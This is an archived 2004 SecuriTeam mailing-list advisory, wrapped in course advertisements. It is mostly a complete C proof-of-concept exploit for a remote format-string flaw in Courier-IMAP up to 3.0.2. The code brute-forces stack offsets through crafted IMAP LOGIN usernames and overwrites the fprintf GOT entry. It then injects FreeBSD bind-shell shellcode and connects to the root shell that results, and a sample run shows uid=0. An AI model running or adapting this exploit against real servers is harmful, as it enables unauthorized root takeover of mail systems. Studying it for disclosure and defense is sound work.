Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[EXPL] Courier-IMAP Remote Format String Vulnerability Exploit

Subject: [EXPL] Courier-IMAP Remote Format String Vulnerability Exploit
Date: 2 Sep 2004 12:54:22 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Courier-IMAP Remote Format String Vulnerability Exploit
------------------------------------------------------------------------


SUMMARY

In a previously featured article titled  
<http://www.securiteam.com/unixfocus/5VP0G2ADPC.html> Courier-IMAP Remote 
Format String Vulnerability, a bug that opens up a vessel for executing 
arbitrary code was documented and described.

Provided below is a proof of concept exploit code that will in fact 
exploit the vulnerability and spawn a shell on the server.

DETAILS

Vulnerable Systems:
 * Courier IMAP up to version 3.0.7, NOT inclusive

Immune Systems:
 * Courier IMAP version 3.0.7

Exploit:
/*
  courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit
  
  Author: ktha at hush dot com
  
  Tested on FreeBSD 4.10-RELEASE with courier-imap-3.0.2
  
  Special thanks goes to andrewg for providing the FreeBSD box.
  
  Greetings: all the guys from irc.pulltheplug.com and irc.netric.org
  
  bash-2.05b$ ./sm00ny-courier_imap_fsx
  courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit by 
ktha at hush dot com
  [*] Launching attack against 127.0.0.1:143
  [+] Got current ebp(5100): 0xbfbfb050
  [+] Got possible saved ebp(3281): 0xbfbfe390
  [+] Got possible write on the stack pointer(3293): 0xbfbfe3c0
  [+] Verifying...failed
  [+] Got possible saved ebp(3286): 0xbfbfe3a4
  [+] Got possible write on the stack pointer(3298): 0xbfbfe3d4
  [+] Verifying...failed
  [+] Got possible saved ebp(3287): 0xbfbfe3a8
  [+] Got possible write on the stack pointer(3299): 0xbfbfe3d8
  [+] Verifying...OK
  [+] Building fmt...done
  [+] Building shellcode...done
  [*] Using ret: 0x8057000
  [*] Using got of fprintf(): 0x804fefc
  [*] Checking for shell..
  uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 
5(operator), 20(staff), 31(guest)
   
  N.B. 1. ret can be guessed ;)
     2. got, well.. that's a different story, it must be bruteforced
     3. "ce_number" & "se_number" can be set with some default values when 
running multiple times
  4. shell is usable for aprox 1 min
    
  [ Need a challenge ? ]
  [ Visit http://www.pulltheplug.com ]
  
*/

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BIGBUF 2048

#define IMAP_PORT 143

#define END_BRUTEFORCE_STACK 5500

#define TOP_STACK 0xbfc00000 /* FreeBSD */

#define START_BRUTEFORCE_SAVED_EBP 3000

#define JUNK 9

#define GAP_EBP_ESP 48

#define DUMMY_NUMBER 100


void die(int type, char *message) {
 if(type == 2)
 perror(message);
    else
     fprintf(stderr,"%s\n",message);
 exit(1);
}

int connect_to (char *host, int port){
 struct hostent *h;
 struct sockaddr_in c;
 int sock;

 if ((host == NULL) || (*host == (char) 0))
   die(1, "[-] Invalid hostname");

 if ((c.sin_addr.s_addr = inet_addr (host)) == -1){
   if ((h = gethostbyname (host)) == NULL)
  die(1, "[-] Cannot resolve host");
   memcpy ((char *) &c.sin_addr, (char *) h->h_addr, sizeof (c.sin_addr));
 }
 if ((sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
   die(2,"[-] Error creating socket:");
 c.sin_family = PF_INET;
 c.sin_port = htons (port);
 if (connect (sock, (struct sockaddr *) &c, sizeof (c)) == -1)
   die(2, "[-] Cannot connect: ");
 return sock;
}

void close_socket (int sock){
 shutdown (sock, 2);
 close (sock);
}

char *get_request(char *username, char *password){
 char *request = (char *)malloc(strlen(username)+strlen(password)+20);
 sprintf(request,"1 LOGIN \"%s\" \"%s\"\r\n",username, password);
 return request;
}

void send_data(int sock, char *request){
 int n;
 n = send (sock, request, strlen (request), 0);
 if (n != strlen (request)){
        close_socket (sock);
        die(1, "Error sending request\n");
 }
}


int get_ce_number(char *host, int port){
 int sock;
 int loop;
 char temp[BIGBUF];
 int l,n;
 char username[BIGBUF];
 char password[BIGBUF];
 char *request;
 
 for (loop = END_BRUTEFORCE_STACK;;loop--){
 sock = connect_to(host, port);
 n = recv (sock, temp, sizeof (temp), 0);
 sprintf(password,"sm00ny");
 sprintf(username,"%%%d$p",loop);
 request = get_request(username,password);
 send_data(sock,request);
 memset(temp,0,sizeof(temp));
 n = recv (sock, temp, sizeof (temp), 0);
 close_socket (sock);
 if (n > 0)
  break;
 }
 return loop;
}


int get_se_number(int start, int end, char *host, int port){
 int loop;
 char username[BIGBUF];
 char password[BIGBUF];
 char *request;
 int l,n;
 char temp[BIGBUF];
 int sock;
 if (!start)
 start = START_BRUTEFORCE_SAVED_EBP;
 for (loop = start; loop < end; loop++){
 sock = connect_to(host, port);
 n = recv (sock, temp, sizeof (temp), 0);
 sprintf(password,"sm00ny");
 sprintf(username,"%%%d$n",loop);
 request = get_request(username,password);
 send_data(sock,request);
 memset(temp,0,sizeof(temp));
 n = recv (sock, temp, sizeof (temp), 0);
 close_socket (sock);
 if (n > 0)
  break;
 }
 if (loop == end)
 return -1;
 
 return loop;
}





int verify_se_number(int write, unsigned long addy, int number, char 
*host, int port){
    char username[BIGBUF];
    char password[BIGBUF];
    char temp[BIGBUF];
    char *request;
    int n, sock;
    
    sock = connect_to(host, port);
    memset(temp,0,sizeof(temp));
    n = recv (sock, temp, sizeof (temp), 0);
    sprintf(password,"sm00ny");
    sprintf(username,"%%%uu%%%u$hn%%%u$hn", (addy & 0xffff) - JUNK, 
number, write);
    request = get_request(username,password);
    send_data(sock,request);
    memset(temp,0,sizeof(temp));
    n = recv (sock, temp, sizeof (temp), 0);
    close_socket (sock);
    if (n <= 0)
     return 0;
     
    sock = connect_to(host, port);
    memset(temp,0,sizeof(temp));
    n = recv (sock, temp, sizeof (temp), 0);
    sprintf(password,"sm00ny");
    sprintf(username,"%%%u$n%%%u$hn", number, write);
    request = get_request(username,password);
    send_data(sock,request);
    memset(temp,0,sizeof(temp));
    n = recv (sock, temp, sizeof (temp), 0);
    close_socket (sock);
    if (n > 0)
     return 0;
     
    return 1;
}
                                                                           
 
                                                                           
 
int *get_format_vector(unsigned long got_addy, unsigned long got, unsigned 
long ret){
 int i,j,sum,byte;
 int *vec = (int *)malloc(11 * sizeof(int));
 
 sum = JUNK;
 for (i=0; i<2; i++){
 for (j=0; j<2; j++){
  vec[2*(2 * i + j)] = (got_addy & 0xffff) - sum;
  while (vec[2*(2 * i + j)] <= 12)
  vec[2*(2 * i + j)] += 0x10000;
  sum += vec[2*(2 * i + j)];
  
  byte = ((got + 2 * i) >> (16*j)) & 0xffff;
  vec[2*(2 * i + j) + 1] = byte - sum;
  while (vec[2*(2 * i + j) + 1] <= 12)
  vec[2*(2 * i + j) + 1] += 0x10000;
  sum += vec[2*(2 * i + j) + 1];
  got_addy += 2;
 }
 }
 for (i=0; i<2; i++){
 byte = (ret >> (16*i)) & 0xffff;
 vec[8+i] = byte - sum;
 while (vec[8+i] <= 12)
  vec[8+i] += 0x10000;
 sum += vec[8+i];
 }
 
 return vec;
}

char *get_format_string(int *vec, int se_number, int write_number, int 
got_number){
 char *buf = (char *) malloc(BIGBUF);
 char smallbuf[256];
 int i;
 
 for (i=0; i<4; i++){
 sprintf(smallbuf 
,"%%%uu%%%u$hn%%%uu%%%u$hn",vec[2*i],se_number,vec[2*i+1],write_number);
 strcat(buf,smallbuf);
 }
 for (i=0; i<2; i++){
 sprintf(smallbuf,"%%%uu%%%u$hn",vec[8 + i],got_number + i);
 strcat(buf,smallbuf);
 }
 return buf;
}


char *gen_shellcode (int gap){
 int size;
 char *p;
 char shellcode[] =
 /* Thanks ilja */
 "\x31\xc0\x31\xc9\x31\xd2\xb0\x61"
 "\x51\xb1\x06\x51\xb1\x01\x51\xb1"
 "\x02\x51\x8d\x0c\x24\x51\xcd\x80"
 "\xb1\x02\x31\xc9\x51\x51\x51\x80"
 "\xc1\x77\x66\x51\xb5\x02\x66\x51"
 "\x8d\x0c\x24\xb2\x10\x52\x51\x50"
 "\x8d\x0c\x24\x51\x89\xc2\x31\xc0"
 "\xb0\x68\xcd\x80\xb3\x01\x53\x52"
 "\x8d\x0c\x24\x51\x31\xc0\xb0\x6a"
 "\xcd\x80\x31\xc0\x50\x50\x52\x8d"
 "\x0c\x24\x51\x31\xc9\xb0\x1e\xcd"
 "\x80\x89\xc3\x53\x51\x31\xc0\xb0"
 "\x5a\xcd\x80\x41\x53\x51\x31\xc0"
 "\xb0\x5a\xcd\x80\x41\x53\x51\x31"
 "\xc0\xb0\x5a\xcd\x80\x31\xdb\x53"
 "\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
 "\x62\x69\x89\xe3\x31\xc0\x50\x54"
 "\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
 "\xb0\x01\xcd\x80";
                                                                         
 
    size = strlen (shellcode);
 p = (char *) malloc (gap + 1);
 
 /* Some nops ;) */
 memset (p, 0x41, gap);
 
 memcpy (p + gap - size, shellcode, size + 1);
 return p;
}


void root(char *host) {
 fd_set rfds;
    int n;
    int sock;
    char buff[1024];
    
    sock = connect_to(host,30464);
    send(sock,"id;\n",4,0);
    while(1) {
     FD_ZERO(&rfds);
     FD_SET(0, &rfds);
        FD_SET(sock, &rfds);
        if(select(sock+1, &rfds, NULL, NULL, NULL) < 1)
         exit(0);
        if(FD_ISSET(0,&rfds)) {
         if( (n = read(0,buff,sizeof(buff))) < 1)
         exit(0);
         if( send(sock,buff,n,0) != n)
         exit(0);
        }
        if(FD_ISSET(sock,&rfds)) {
         if( (n = recv(sock,buff,sizeof(buff),0)) < 1)
         exit(0);
         write(1,buff,n);
        }
 }
}



main (int argc, char **argv) {
 char *host="127.0.0.1";
 int port = IMAP_PORT;
 int sock;
 
 char *temp1, *temp2;
 char *request;
 int *vec;
 
 int n,ok,i;
 
 unsigned long cur_ebp; // was 5100 on my box
 int ce_number = 0;
 unsigned long saved_ebp; // was 3287 on my box
 int se_number = 0;
 unsigned long write_addy;
 int write_number = 0;
 unsigned long got_addy;
 int got_number = 0;
 
 /* objdump -R /usr/lib/courier-imap/sbin/imaplogin | grep fprintf */
 unsigned long got = 0x0804fefc;
 /* heh.. it's up to you to find this one :P Just use your favourite 
mathod */
 unsigned long ret = 0x8057000;
  
 if (argc > 1)
  host = argv[1];

 printf("courier-imap <= 3.0.2-r1 Remote Format String Vulnerability 
exploit by ktha at hush dot com\n");
 
 printf("[*] Launching attack against %s:%d\n",host,port);
 
 if (ce_number == 0)
  ce_number = get_ce_number(host,port);
 cur_ebp = TOP_STACK - 4 * ce_number;
 
 got_number = DUMMY_NUMBER;
 got_addy = cur_ebp + 4 * (got_number - 1);
  
 printf("[+] Got current ebp(%d): %p\n",ce_number,cur_ebp);
 
 do{
  se_number = get_se_number(se_number,ce_number,host,port);
  if (se_number == -1)
  die(1,"[-] Failed to get a saved_ebp !");
  
  saved_ebp = cur_ebp + 4 * (se_number - 1);
  printf("[+] Got possible saved ebp(%d): %p\n",se_number,saved_ebp);
  
  write_addy = GAP_EBP_ESP + saved_ebp;
  write_number = (write_addy - cur_ebp) / 4 + 1;
 printf("[+] Got possible write on the stack pointer(%d): 
%p\n",write_number,write_addy);
  
  printf("[+] Verifying...");
  ok = verify_se_number(write_number,got_addy,se_number,host,port);
  if (ok)
  printf("OK\n");
  else {
  printf("failed\n");
  se_number++;
  }
 }while (!ok);
 
 printf("[+] Building fmt...");
 vec = get_format_vector(got_addy,got,ret);
 temp1 = get_format_string(vec,se_number,write_number,got_number);
 printf("done\n");
 
 printf("[+] Building shellcode...");
 temp2 = gen_shellcode(800);
 printf("done\n");
 
 printf("[*] Using ret: %p\n",ret);
 printf("[*] Using got of fprintf(): %p\n",got);
 
 request = get_request(temp1,temp2);
 
 sock = connect_to(host, port);
 send_data(sock,request);
 sleep(2);
 close_socket (sock);
 
 printf("[*] Checking for shell..\n");
 root(host);
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:ktha@hush.com> Andrei 
Catalin.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [EXPL] Courier-IMAP Remote Format String Vulnerability Exploit, SecuriTeam <=